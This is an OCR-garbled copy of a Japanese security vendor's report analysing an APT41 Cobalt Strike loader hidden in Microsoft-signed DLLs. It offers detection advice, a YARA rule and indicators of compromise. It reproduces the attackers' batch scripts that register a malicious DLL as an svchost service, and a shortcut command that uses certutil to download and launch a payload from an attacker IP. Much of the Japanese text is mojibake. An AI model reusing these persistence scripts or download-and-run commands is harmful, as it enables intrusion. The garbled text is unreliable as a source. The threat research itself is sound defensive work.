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X|1(Z. Cobalt Strike loader CEHB XN SDLLY 7 )L (KBDTAM131.DLL) DT XILELZ %
SigcheckXB’CﬁEEﬂbf: LDTY, TFEERED L 2 TSignedy *HEEENTH) . BRAIFIELWHLDTH
DY) EFT.

%3 Sigcheck - Windows Sysinternals | Microsoft Docs

C:¥>sigcheck64. exe KBDTAM131.DLL

Sigcheck v2.80 — File version and signature viewer
Copyright (C) 2004-2020 Mark Russinovich

Sysinternals — www. sysinternals. com

C:¥KBDTAM131.DLL:
Verified: Signed
Signing date:  13:53 2018/09/15
Publisher: Microsoft Windows
Company : Microsoft Corporation
Description: UXLib Resources
Product: Microsofts Windows3a Operating System
Prod version: 10.0.17763. 1
File version: 10.0.17763.1 (WinBuild. 160101. 0800)
MachineType: 64-bit

1 Microsoft4t DT R ILE L 5 FFDODLL Y 7 A LB L DB HHERER

ZHKBDTAM131.DLL(F. C:\WINDOWS\system32 (Z& F 415 Microsoft4tDUXLibRes.dllA X XA, L
7zDLL7 7 A JLTd V) . Microsoftit DT> RILEZIZIZIEMOUXLibRes dI|Z(FFIEL 0 WT—XHYE
FNTWAIEHAMERTE F9 (KR2OTREFHE) . ZDF— KA. Cobalt Strike loader|Z & - TaHiAA £
#17-1%. Cobalt Strike Beacon¥ L TE{TENF .
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Cobalt Strike loader454

Cobalt Strike loader(3 . BB HAHEKE L =45 DHWindowst — £ R F 7-(ZIKE and AuthIP IPsec Keying
Modules (IKEEXT) #—E 2 &BRM L TEITEND LI ICREFINTUET. H—EREBIFIC
Cobalt Strike loader* F LT« L2 b ) IZECE & f-Microsoftdt DT X IILBLZ I N-DLLT 7 JL &
DeArAd BDNFNRAO—FEESLTERITLET . GtHRALDLLD T 71 ILERH 7Y
F. R4 O—F (Cobalt Strike Beacon) 7g &' (3R b 1) — Lk 2 7HChacha20 ™ STHE 24k, X nTtuwxg,

¥4 TKEEXTH—E 2R A, FITHFIZEEE TIEFFE L 7Ly T C:\Windows\System32\wlbsctrl.dll ;AT A L
1=, DLLN\A 2+ v A FBETH ) . ZOFAEEBALTWET.

%5 rfc7539

Ftz. w7 =7 THIA& B —HEBDWindows AP1$, Chacha20 THE S I TV F 9. KB, Heaid
CDLLD T 7AIILEBXRH 72y MM KA RST 2BIMO—FIRER T, R4z, BSIZHAT 2/ \—
N3 — F &t /-Chacha20DF— (FR4RHF) . nonce (R4RAE) | BESHINI-XFI (BFHLE) PES
HENIXFINIR (BF48M%) A#RLTWET,

decode_chacha2@((__int64)8key, v1, (_ inté4)&nonce, (_ intéd)&encrypted_str, (_ intéd)&encrypted_str, length);

ProcessHeap = GetProcessHeap();

v3 = HeapAlloc(ProcessHeap, 8u, 8x38ui6d);

vd = (unsigned int)length;

qword_180017088 = (_ int64)v3;

K3 FZEAIAELDLLD 7 71 V& & 5 1R ST R (—BBIRK:)
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B DE(L. KBDTAMI31.DLLIZE ¥ zBESha -~
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0000000000426000 |D6 96 2B 9|01 86 39 E5|/F E1 18 91 (0B 86 86 8B o.+...9a.a ......
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Page 4 of 16



https://www.lac.co.jp/lacwatch/report/20210521_002618.html

0000000000425FB0 [4D 5A 41 5255 48 89 E5[48 81 EC 20[00 00 00 48 [MZARUH.aH.i ...H
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0000000000426000 |69 73 20 70|72 6F 67 72|61 6D 20 63|61 6E 6E 6F ‘IS program canno
0000000000426010 |74 20 62 65|20 72 75 6|20 69 6E 20|44 4F 53 20 |t be run in DOS
0000000000426020 | 6D 6F 64 65|2E OD OD OA|24 00 00 00|00 00 00 00 [mode....%.......
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R7127R9 & 912, BS 3Nz~ O— F(F. Cobalt Strike BeaconTY ., XEEM A MERY 5 & . Cobalt
Strike 4xD) — 2 /0 5w &Nt-/x— 3> (watermark : 0x12345678) ¢. HTTPS (0x08) 'O | O

JLAFIFL T, 443/TCPTTeam Server (C2H—/\) Y IBET DL I ICRESINTULE L1z, ¥ (K8)

¥6 DX/ O— K TlZ. HTTPEDNSZ'O b JILTEBEAIT) L) ICERESNTW D HEDHLEARL T
WEd,

; Export Ordinals Table for beacon.xbd.dll

word 18883BC18 dw ©
abeaconX64D1ll db "beacon.xtd.dll’,@
aReflectiveload db 'Reflectiveloader’,®

M7 T2 ZH—FINABDLLY 71 JL (beacon.x64.dll)

bkan has hasw
L R v
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Microsof st DT X IVELZ 7 71 IV % AT % Cobalt Strike loader ¥ APT41 Y
ORIEM

FLt-H (L. Cobalt Strike loader&F8~25 . FireEyettA20204E3 B (243 B APT41DL H— b X748

NG DIRFEEMT B HDEMERL £ L. UETIE. BINT 2IRIFA2D48 L £9.  FireEye H>
7)1 HY. FireEyettAVABI T ZIRIFC. "NEWH 7)) AMicrosoftdt D72 X ILESZ XN f-DLLY
71 )L % 9 % Cobalt Strike loaderddI B THIA X - IRIFTY .

%7 This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits

LARM=ILRZ )T

771IE /Ny i@ (MD5)
FireEyet} > /)L install.bat 7966c2c546b71e800397a67f942858d0
NEWH > 7L install.bat fef94f9977f6c9da0d8e006a5fefc5cl

ROIZRT L2 Ny FT77MIVORBERT 5. H—EREERTBDLLY 7 ILERL ) F9
M MDERE. (ZER—THBeHh MR TEET. 0H. NEWH L TIUZE FNSH2DNDDLLIG,
WET%ﬁLt\Cwm&Mdm®rMM&UM)tMmmwﬁmT/ﬁw%%7 1L AEFFOIES,

&ff-~4(O—F (KBDTAMI31.DLL) 1.

off
“"WORK_DIR-C:\Windows\System32"
“DLL_NAME-storesyncsvc.dll"
"SERVICE_NAME-StorSyncSvc"
"DISPLAY_NAME-Storage Sync Service"
"DESCRIPTION-The Storage Sync Service is the top-level resource for
File Sync. It creates sync relationships with multiple storage accounts
via multiple sync groups. If this service is stopped or disabled,
applications will be unable to run collectly."

stop %SERVICE_NAMESs
delete %SERVICE_NAMES
%WORK_DIRSs
"Sdp@%DLL_NAMES" "%WORK_DIRS" /Y
add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v "3
SERVICE_NAMES" /t REG_MULTI_SZ /d "%SERVICE NAMES" /f
create "%SERVICE_NAMES" binPath= "%SystemRoot%\system32\svchost.exe -k %
SERVICE_NAMESs" = share = auto error= ignore DisplayName= "%
DISPLAY_NAMES"
failure "%SERVICE_NAMES" = 86400 actions= restart/60000/restart/
60000/ restart/60000
description "S%SERVICE_NAMES" "%DESCRIPTIONS
add "HKLMASYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /
f
add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAMES%\Parameters" /
v "ServiceDl1l" /t REG_EXPAND_SZ /d "%WORK_DIR%\%DLL_NAMES" /f
"%SERVICE_NAMES"
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off
"WORK_DIR-c:\Windows\System32"
"DLL_NAME-AacSvc.d11"
"SERVICE_NAME-AacSvc"
"DISPLAY_NAME-AacSvc"
"DESCRIPTION-Runtime for activating conversational agent applications"

stop %SERVICE_NAMES
delete %SERVICE_NAMESs
%WORK_DIR%
: %DLL_NAMES" "%WORK_DIR%" /Y
KBDTAM131.DLL" "SWORK_DIRS\KBDTAM131.DLL" /Y
add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v "%
SERVICE_NAMES" /t REG_MULTI_SZ /d "%SERVICE_NAMES" /f
create "%SERVICE_NAMES" binPath= "%SystemRoot%\system32\svchost.exe -k %
SERVICE_NAMES" = share = auto error= ignore DisplayName= "%
DISPLAY_NAMES"
failure "%SERVICE_NAMES" 86400 actions= restart/60000/restart/
60000/ restart/6 0
description "%SERVICE_NAMES" "SDESCRIPTIONS"
add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAMES\Parameters" /
f
add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /
v "ServiceDl1l" /t REG_EXPAND_SZ /d '"%WORK_DIR%\%DLL_MNAMES" /f
"%SERVICE_NAMES"

K9 A >R h—ILRZ )T DEE (E : FireEyety > 7)L,/F : NEWH 2 T)L)

2. Cobalt Strike loader?)Windows API7 FL ZAfigiR¥ T2 AR— I BDLL7 71 )L

7 7AIVE /Ny 1{E (MD5)
FireEyet/ > /)L storesyncsve.dll 5909983db4d9023e4098e56361c96a6f
NEWH > 7L AacSvc.dll 1e750c5cf5¢68443b17c15f4aac4d794

K10(Z/RT L )2, I—FORBAET 2. FOHE I TUWB4FEDWindows APIF R/ 1) £ 3
HY. Windows APID 7 K L AR AIFOHE T I3— FIZFEMEAR SN ET. $1-. TIORR—bEND
DLLD 7 74L& HEERAABTND R v R TEx 7.

%8 Ecoco.dll ¥ Uy > =854 3R BIAYEA{EL L 73 U Cobalt Strike loader , —ZBfERA L TWNEF .
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ProcessHeap = GetProcessHeap();

quord_180819E7@ = (__int64)HeapAlloc(ProcessHeap, 8u, Bx1E8uibd);

if ( qword_18@@19E70 )

{
*(_QWORD *)quord_18@@19E7@ = resolve_APIcall(strchar);
*(_QWORD *)(qword_180019E70 + 8) = resolve APIcall(RtlAnsiStringToUnicodeString);
*(_QWORD *)(qword_180019E70 + 16) = resolve_APIcall(RtlFreeUnicodeString);
=(_QWORD *)(qword_186819E70 + 24) = resolve_APIcall(RtlInitAnsiString);
*(_QWORD *)(qword_180019E70 + 32) = resolve APIcall(RtlCharTolnteger);
*(_QWORD *)(qword_188019E70 + 48) = resolve_APIcall(lLdrGetD11lHandle);
*(_QWORD *)(qword_180819E70 + 48) = resolve_APIcall(LdrlLoadDll);
*(_QWORD *)(qword_180019E70 + 56) = resolve APIcall(LdrGetProcedurelddress);
*(_QWORD *)(qword_1880@19E70 + 64) = resolve_APIcall(GetModuleHandleA);
*(_QWORD *)(qword_186019E70 + 72) = resolve APIcall(lLoadLibraryA);
*(_QWORD *)(qword_18@019E70 + 808) = resolve_APIcall(FreelLibrary_8);
v2 = GetProcessHeap();
quord_188@19E78 = (__ int64)HeapAlloc(v2, 8u, ©x58uibd);
v3 = off_1800189F0;
vid = 8;

+
+
+
+
+
+
+
+
+
+

ProcessHeap = GetProcessHeap();

qword_18@017D1@ = (__ int64)HeapAlloc(ProcessHeap, 8u, @x58uibd);

#(_QWORD *)qword_180017D1@ = resolve_APIcall(&RtlComputeCrc32, 22i64);

*(_QWORD *)(qword_180017D1@ + 8) = resolve_APIcall(&NtQuerySystemInformation, 31i64);
*(_QWORD *){qword_180017D18 + 16) = resolve_APIcall(&NtDuplicateObject, 24i64);
*(_QWORD *)(qword_186017D10 + 24) = resolve_APIcall(&NtQueryObject, 20i64);
*(_QWORD *)(qword_180017D10 + 32) = resolve_APIcall(&NtCreateSection, 22i64);
*(_QWORD *)(qword_180017D10 + 4@) = resolve_APIcall(&NtMapViewOfSection, 25i64);
*(_QWORD *)(qword_180017D1@ + 48) = resolve_APIcall(&NtUnmapViewOfSection, 27i64);
*(_QWORD *)(qword_188017D18 + 56) = resolve_APIcall(&NtCreateTransaction, 26i64);
*(_QWORD *){qword_180017D1@ + 64) = resolve APIcall(&NtClose, 14i64);

vl = resolve_APIcall(&RtlInitUnicodeString, 27i64);

v2 = (_QWORD *)qword_186017D10;

*(_QWORD *)(qword 180017D18 + 72) = v1;

v3 = @;

X110 Windows APIN 7 N L R R AIFOH 93— Foobk# (L : FireEyeth 7))L/ ¢
NEWH > 7IL)

; Export Ordinals Table for loader Xb64 svchost attach.dll

2
word_180016796 dw 6, 1, 2 ; DATA XREF: .rdat
aloaderX64Svcho db ®loader X64 svchost attach.dll’,@

; DATA XREF: .rdat
aGetalluser db ‘"GetAllUser',@ ; DATA XREF: .rdat
aServicemain db ‘ServiceMain',@ ; DATA XREF: .rdat

aStringcontract db ‘StringContract’',8® ; DATA XREF: .rdat
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; Export Ordinals Table for Win32Loader.Svchost.X64.dll

3
word_180015190 dw 1, 0, 2 ; DATA XREF: .r
allin32loaderSvc db 'Win32loader.Svchost.X64.d11°,0

; DATA XREF: .r

aCollaborate db ‘Collaborate®’,® ; DATA XREF: .r
aRun db *Run®,® ; DATA XREF: .m
aServicemain db ‘ServiceMain®,® ; DATA XREF: .r
K11 T RR— b &N BDLLY 7 JLOLER (L : FireEyetr > 7))L /F : NEWH
L)

D& BENREREE A 5D, Microsof it DT L R ILEZ X NT-DLLT 71 )L A9 % Cobalt
Strike loader § APTAAFIAR L 1= b D TH D REMEA SN EZ FT,

APT41(3. by & £20204E3 AEEA & Cobalt Strike loader & FJFA L T V) . BB A(HHNT 5 2 (ZHAE
AEMEFLIIREL. HEF v R—CBIEVWRITTRRALTWEY . Lad2ont > 7ILoiEE
SMZEH. RAO— R AEGKAAZIDLLNICS TILO— FARBENZ DO HERL TWET. 1H.
Positive Technologiestt )7 01 & “-CAPT410)Cobalt Strike loader|ZBIiE 3 2 IRIMER A { DAHVAR X
nTWEg,

»¢9 Higaisa or Winnti? APT41 backdoors, old and new (https://www.ptsecurity.com/ww-en/analytics/pt-esc-

threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/)

HEX v R—UIFIBTZ10775

ZITE HEEHCY—NE Y —LVBEEBE LTEAL TOEEEEICEAATTAET. B
12(5. MmmwﬁmT/&w%zéntmL7 4 JL% B9 % Cobalt Strike loaderXo¢ D~ O— K
HELE XN T -IB{E5C (119.45.238[.]1189) %A JTIZ. Maltego CRIET 2 EERA—Ev v L7 L4
NDTY, F4RAT/RY . Cobalt Strike loader(ZJER L THD & N1 T4 T 2HDE (IR, TR
TING . TORIVEBLZ T 7AILHAMTSE N TUMVE UL Tsystems.dog ) 7 7/ ILAERA O— R & L’CEEJ%JA
£ Rl Cobalt Strike loader (tools.exe) HWERTE £,

Passive DNS7p & OHEHANS Y —IVE EI5¢ L TERIN TWWAHERL THD L.
1119.45.238[.]1189 A3, 2020@11% TAa. —A T 7192.109.98[.1187, HR0204E108 FAEIIZ{EHNTH
1), WEBEHF. WEFT v _R—2|ZL > 7T. Cobalt Strike loader&{F L\ T TWBDZ EHABZ FT,

wiz, EElZey B TEINT-EB4ROLNK Y 71 )L "Top-up Scheme_Member List as of
20201022v1_for Nomination.pdf.nk; (ZEB L CTHFd. ZND7 71 I)LiE. K13IZ/R3 & 5 (2. Cobalt
Strike Becon (const.exe) NX 7 O—XTH'). ¥YIEATHRENIzEEZZONE T, F1-. X7

— | & i t-Cobalt Strike BeconDIB{55(%. "www.microsofthelp.dnsi[.Jus; T#'t). 1[E5| & L7-IP7
ML (&, 7192.109.98[.11871 & Z Z THRAEMA'RZ 9. K14(d. LNKT 71 ILRITEIZRRS
N37Fa4147 71ILORNETY.
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e WD =

er List as of 119.45.238.189 162.108.98.187

31.0LL www.microsofthelp. dnsl.us Cobalt Strike loader WEM, 838 systems.log €55t

[¥]12 Cobalt Strike loader & JB{Z 5 DBRIE M

Link information:
Creation time : Jan 09, 2020 21:25:13.007642600 UTC
Modification time : Jan 09, 2020 21:25:13.007642600 UTC
Access time : Nov 05, 2020 03:21:29.908766100 UTC
File size : 280064 bytes
File attribute flags Ox00000020
Should be archived (FILE ATTRIBUTE_ARCHIVE)
Drive type : Fixed (3)
Drive serial number : 0x5c92cbd6
Volume label :
Local path : C:\Windows\System32\cmd.exe
Relative path : ..\ \ L \Windows\System32\cmd.exe

Working directory : C:\Users\Public\
Command line arguments 3

Jc copy C:\Win
dows\\System32\\certutil.exe c:\\users\\public\\cer.exe & c:\\users\\public\\c
er.exe -urlcache -split -f http://119.45.238.189:8080/Nomination.pdf c:\\users
\\public\\Nomination.pdf & start c:\\users\\public\\Nomination.pdf & c:\\users
\\public\\cer.exe -urlcache -split -f http://119.45.238.189:8080/const.txt c:\
\users\\public\\const.exe & start c:\\users\\public\\const.exe

Icon location : L\1l.pdf
Environment variables location : %SystemRoot¥%\system32\cmd.exe

M13LNK7 71 JLORE
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# 5 : CD/101/000/2 Pt. 2

EFERSE : 28103104

NEEHREEBEB15/20115%

(ZE - EEFRELIAE BN BERR )

A RR
PHAEAREHFSE ABAUESZH - EBRHRIFER

HEZHTRXEENEY R BK ﬁ EFREREA /SHMANEAE A
B FETMIWNA(LCBREBRU) RABREBRESEMEZFER
K T AR S —

(a) (AKEBEAEW) B431 2435 EM =2 0E

(b)) (AKBERHEY) S444F M EZFE":

() AKBEEBBFEEE2/200452 608 “FlIHExE";

A ABEEKBASEI/N200TREM-LABEUEA S T EZF
ET RARPRESHEING (BESFB(FREEHFINALE) ;

BLE
M14 734 7 71 ILORE (—EREK)
R ORER L i

A[EI4AN L 1=, Cobalt Strike loader(, Windowsty —EZ&#FIAL TRITEIND7zD. LR M) F—%
AR pOFIZWL DHBIET BIRIH R D ATEEMEA S VLT . AT ¢RI AR T 2 A5 —
Bl LTEBNL ET . F1-. mTE(ZCobalt Strike loaderH ¢~ 2 Microsoftit DT RILEL X N f-
DLLY 7 A LA BYNBLREET 272D, LR M REABNALET .

1. Autoruns ¥ 0=  Z BENREN 045 LDFER

Autoruns AR LT, BERENT 7Y —> a3 L PR M) TPV EREBL. AELTOIT L
AREFINTUWRUWARERL £9°. RII5(Z/R9 ). Cobalt Strike loaderh“tr — 2 &g I N i-35E

O— RELAEWRT D47 3B LI-AuorunsTE, E>7BICN1Z1 bEINTEY.
AacSVedIARIE7 7MLV TH DI EAMERTE 9. 1=1°L. IKEEXTH—E 25 ERT2FHNISH
&ld. IKEEXTH—ER(FOSIZTUA L HFET HERT—EZXTHY) . ZDOH—ERHARIEA wibsctrl.dll
B AADE(TAutoruns_ EASHERTE LWLV (K16) . AR FAOY (Y RATL) TRELRY—E
ZDFLEE SUBIEH S WO FEATERT DMELDH ) 7.

$%10 Autoruns for Windows - Windows Sysinternals | Microsoft Docs
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& Autonuns [DESKTOP-DETQD2O¥DF] - Sysinternals: wwowsysinternals.com
Eile Entry Options User Help

HEARAXE Fres[

%) appinit (%) knowrous @ winlogon & Winsock Providers {23 Print Monitors @ L5 Providers & Network Providers ] wm
7 Everything 24, Logon H Explocer @ IntemetExplorer 4 Schedued Tasks %89 Services Bl Drivers [ Coders [ BootExecute
Autonun Ertry Descnption Publisher image Path Timestamp
28 HKLMA System¥CumentControlSet¥ Services. 2021/05/1915:39
B4 ) Asesve AseSve: Runtime for activating 1l agent Microsoft c¥windows¥system3Naacevedl 202010430 15:07

@ E AarSwc_42a65 Agent Activation Runtime_42a65: Runtime for activating conversation... (Verfied) Microsoft Windows Publisher  c¥windows¥system32¥svchostexe 1997701711 7.26

|15 AutorunsE{T45R (AacSve.dlondl)

F Autoruns [JP-WIN101709X64¥ orensics] - Sysintemals: www.sysinternals.com
Eile Entry Options User Help
HEBAXE Fvee[ ]

) appmnit (%) knowrDlls @ winogon &Y WinsockProviders 3 PrintMonitors W) LSAProviders & NetworkProviders i
O Everything % logon & Explorer @ IntenetBxplorer () ScheduedTasks B8 Services ) privers L] Codecs [ Boot Execute

Description Publisher Image Path Timestamp
Windows £/ )b Ay AR E H—F. . (Vedfied) Microsolt Windows ___c¥windows¥system32itetheringse... 1916/06/29 2:45

IKE and AuthlP IPsec Keying Modue. . (Verfied) Microsoft Windows _ c¥windows¥system32¥ikeend dl  1502/01/08 5:20 I
Windows AP 1A=L H-FEA: ... (Verfied) Microsoft Windows c¥windows¥system 3¥installsenvic... 1963/05/09 0:10

16 AutorunsE{T45R (IKEEXTH—E Z D)

2. AR b AT DOHER

Cobalt Strike Loader|ZBIi#E T 2 E 42112356, U—ERDA X M —ILARET H8EMADH B Z
EDB, AR OY (VAT L) 12, AR FID7045TH—EZRDA >R b —ILHRLERINT LD
BELHY) FT. PRTLOTEHRL . RELWindowsH—E RN A > X F—ILAITHNLTULVE LA
BRLET. 1z, 12 PID7036(2HUWWT, IKEEXTH —EZXAERET . FIEE SO RETL
HUOAKERL £9. *U4E. 0SIZL > TE. BEE TIEIKEEXTH —E R (IFEEITEA->THEY . §
—ERERIATHZE T, A2 MD 7040H%5E8k 3 ND 1280, ZDRATDAX bATHERIL

WHDTHUWARERL 77,

K11 OSFERNZ & >TE, A2 D 7036H%CES NG WIGEAH ) £7.
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ANk 7045, Service Control Manager

EX A=

H—EAN AT LA DA M- LENF L.

H—FA%: BacSve

H—EA 774 )& C¥Windows¥system32¥svohostexe -k AacSve
H-EADIERR 1-Y— £-F P-EA

H—EARMEMIEEE: B 8haiRAs

H—EA Ak LocalSystem

Do MR M) PATL

M=2A(S) Service Control Manager o4@B{4(D): 2021/05/14 16:52:51
A A2 b IDEEX 7045 FADOATIVY): BBL

LA JLCLY: &ER F—— (K} h3iah

23—l test-PC¥test JE1—5—(R): test-PGC

K17 S RAFLOY (AR FD:7045) O—EBRE:

A% 7036, Service Control Manager

EXEONE -]

IKE and AuthIP IPsec Keying Modules H—ER(T SEfT IARECAESTLELE.

04 MG M): DAT

Y—20S) Service Control Manager o480 2021705717 14:18:05
A A2+ IDCE): 7036 BADOAT I RL

LAL(LY: EER F =)= (K} H5mh

2—H—{L)x N/ JsB21—-2—(Rk test-PC
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A A2k 7036, Service Control Manager

EXLONE =

OX@GAT(M): AT

V—2A(S): Service Control Manager
AR IDEE): 7036

ALY &

3 —H (L) N/

18 L RFLOZY (AR FD:7036) D—EBRE:

3. FalconNest()Live Investigator@)¥I|

et AR 2 ERIZEE Y — )L MFalconNest; “12¢)Live InvestigatorAF|Bg 22 & T, /1> O

IKE and &uthlP IPsec Kevine Modules H—ER(T SEfTeR SABECAEITLELE.

o4 @B D) 2021405417 14:18:06
BASOHT I Bl

F—0—R(K): haiah
JP21—A—(R):  test-PC

DARBRF - IIAFLBEINEIT 7 7 1ILHAEEINTUWEWHERT 5 Z & AA[RETT .

%12 ERIEAE Y —JL "FalconNest (Z 7L R A M) |

4. Yara%FIFA L -k

Microsoft#t DT X ILELZ X N1-DLL T 71 )L A E 9 %Cobalt Strike loader?)Yara)L—)LTY . Z D&
HIL—ILAEFIFBT B & T. Cobalt Strike loader 54§ 2 = ¥ ASTIRETY . 708, AKENIL—ILOF
BIZ& ) BREARET ZUEEMN D D180, ANFEL AT L~NEANT BI55(F. BT, F2

— VTR Z e BEDL Y.

rule apt41_ms_codesign_cobalt_strike_loader

{

meta:
author = "LAC Co., Ltd."
strings:
$str1 = "sysinfotool" fullword wide

$str2 = "Microsoft system info" fullword wide
$str3 = "ComSpec" fullword wide
$strd = ">> NUL" fullword wide
$str5 = "system" fullword ascii
condition:

uint16(0) == 0x5A4D and (all of (§str*)) and filesize < 100KB
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5. FCRIVEBLZEINT-T7 71 IVDELIGEE

Microsofdt Dt 1 1) 5 4 7 K/NA 1) (2915720) *13% %3 (= Windows Authenticode 24 HEF ¥
REA BN T B1-ODL PR M) AIEINY % Z & T, SigLoaderX>Cobalt Strike loaderh’ERY 272 X
IWEREIN-7 7AIVEEYAEGET 5 Z & AR[BETY (K]19)

t=12 L. BEOWindowsERIE TlE. ZOBBEIBEE TEMIZR > TH Y . UZT KN Y1) 555
A—YAFETEMCT BRELDY 9. 7. Micosofitd 705 Nz Shig, Z BRI
BEIZOWTC, TEREE CAEMCLIGEDOMGENY 7 I T T~DEEANKE L tHEL TWST:
. BT DRI AT LRRICE T HHEOFRS ZHERIAC Z e 2R LY.

L ¥osigeheckBbd . exe KBDTAMTST.DLL

G ¥RBOTAMI ST DL :

Mach
|19 Microsoftst DT L R ILELZ 5 FFDODLL Y 7 A LB L DEINERER (BLIRETOWAE
5B

$%: 13 Microsoft Security Advisory 2915720 | Microsoft Docs

% 14 Windows Authenticode 2 - Microsoft Security Response

Center

T

4[8](F. Microsoftst DT R IVELZ XN -DLL7 71 L% EF 9 % Cobalt Strike loader(ZDUNTAEA L
¥ L7z, MicrosoftitD TP RIVELZINIZT 71 IV EERT HHE(L. APTI0OHFIAT

"SigLoader ; (ZIRWTBIEORERIZAL ) £9. I /NAILARARLEL2DODZILY = 7 A HE L
TH5YE . Cobalt Strike loader(F. 20204108 4], SigLoader(F. 20205108 A& LUV NHEFTIEMR S
NTWBIEHMERTEE LIz, ZDLHIRIehn, BEEIL—TE. JL—TBIZEWT, &%
HERCEE LIz 7. S onNvEeRE l,’cv%ﬂ REMEA SV ERX £T.

HES . A /N—EBDOERAE. BRfI7 7AIVCELZ) 0 BBLRET 74y A—ILd )
. SSL-VPN®GF, IL—& - A= 7M1 AL DS AERT 25 —ZADEEAS{HT->TW
¥9. WBEZ. 2078 Trox—F%y MIEHLUIZRY M T— o8B0 Rk 4E
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BLTETWET, 12—y MIH&EAL TWSD Ry hT—o#28 (5. BICHAN—HBIZEHX
NTWBIOEFEEAVETH) . InoEZnEsStsERIN W =H128 . B 2 OfsstEtEmn
BIR L BIE/ Ny FOBRARENEOBERL EOREELFICHKRO SN E T,

S I DEBEBNINF—LTIE. £+ Z DCobalt Strike loaderX°APT41(ZDUWNT., #K&EMICHEEL . ik
CERERELTWE ZTDOT, TERWLEITIEEWTT .

IOC (Indicator Of Compromised)

Cobalt Strike Loader/\'y < 2{@ (MD5)

1e750c5cf5c68443b17c15f4aac4d794
083eae61806f710ba2fa8fb368f7e998
420c09296ae836a853c5968a2a554f96
955f71062d06ebca0c9852ae3ec2965b
6e17ee7cabfddf28a47cc07d5524ce5¢
f5158addf976243ffc19449e74c4bbad
79175a12¢63c4f4980f09d9dd41ce6b4a

R4 O—F (MD5)

89c6ccd4785£58b7cb253045ef662476
2f2e724dd7d726d34b3f2cfad92e6f9a

af9959184a17de5dcd717882b2d58103
03f7b36b33e30023d34adf80165b7dbb

AR M=ILRZ T (MD5)
fef94f9977f6c9da0d8e006a5fefc5cl
B

www.corpsolution][.]net
www.mircoupdate.https443[.]net
ns1.mssetting[.Jcom
ns.cloud01[.]Jtk

119.45.238[.]189

Source: https://www.lac.co.jp/lacwatch/report/20210521_002618.html
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